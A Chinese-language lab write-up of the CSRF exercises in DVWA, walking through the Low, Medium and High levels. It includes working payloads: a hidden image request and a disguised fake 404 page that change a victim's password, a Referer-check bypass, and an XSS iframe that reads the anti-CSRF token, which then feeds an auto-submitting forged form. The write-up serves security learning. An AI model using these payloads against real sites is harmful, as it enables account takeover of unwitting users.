【CSRF】
全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。CSRF与XSS最大的区别就在于,CSRF并没有盗取cookie而是直接利用。
【Low】
服务器收到修改密码的请求后,会检查参数password_new与password_conf是否相同,如果相同,就会修改密码,并没有任何的防CSRF机制。
Ⅰ.通过构造链接,诱导用户点击:
但是这样很拙劣…一眼就可以看出来,而且会跳转到提示密码更改成功的页面。在做渗透测试的时候可以用,但是实际的攻击中一般情况下是不会攻击成功的。
Ⅱ.伪造攻击页面:
<img src="http://192.168.133.128/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0" style="display:none;"/>
<h1>404 ERROR !<h1>
<h2>Files Not Found.<h2>
我们可以使用上面这一段脚本,保存成一个.html文件,诱骗用户点击这个页面的链接,然后用户会看到一个如下的页面,类似一个404错误页面:
但是在他们的不知道的时候,密码已经被更改了:
【Medium】
stripos(string,find,start)
string:必需。规定被搜索的字符串。
find:必需。规定要查找的字符。
start:可选。规定开始搜索的位置。
返回值:返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。
所以上面的PHP代码是在referer字段里面找主机名,我这里的主机名是192.168.133.128。
这个级别的CSRF,说实话,想了很久没有想起来怎么搞,后来去网上一搜,有个大佬在freebuf上写的一篇文章里说是将文件命名为主机名,即192.168.133.128.html就可以了,所以我就来试了一下。因为需要referer字段,所以我们必须把这个脚本放在服务器上。
(因为我只在一台虚拟机上搭建了服务器,所以我又费了九牛二虎之力又搭建了一个服务器…)
【High】
High级别的代码加入了Anti-CSRF token机制进行用户的token验证,来鉴定用户的身份。所以我们要利用token进行绕过CSRF。
①首先我们需要先获取用户token…由于现在都已经不支持跨域请求访问了,所以我们只能从别的地方入手获取token,尝试了很久之后发现可以利用下面的脚本在XSS(Stored)的Name参数进行XSS攻击,获取用户token。
<iframe src="../csrf" onload=alert(frames[0].document.getElementsByName('user_token')[0].value)>
然后利用下面的脚本构造攻击页面进行攻击,但是有点问题,因为攻击成功之后会显示提示密码修改成功的页面。
<script type="text/javascript">
function attack()
{
document.getElementById("transfer").submit();
}
</script>
<body onload="attack()">
<form method="GET" id="transfer" action="http://192.168.133.128/dvwa/vulnerabilities/csrf">
<input type="hidden" name="password_new" value="password">
<input type="hidden" name="password_conf" value="password">
<input type='hidden' name='user_token' value="52ba1c9c2a51e07e50d9ad596f0822c0">
<input type="hidden" name="Change" value="Change">
</form>
</body>
一时半会还没想到怎么解决这个问题。后面再说,先写到这里。Impossible级别就是加入了PDO技术防注入并且在修改密码之前要求用户输入原密码进行验证,所以是相对安全的。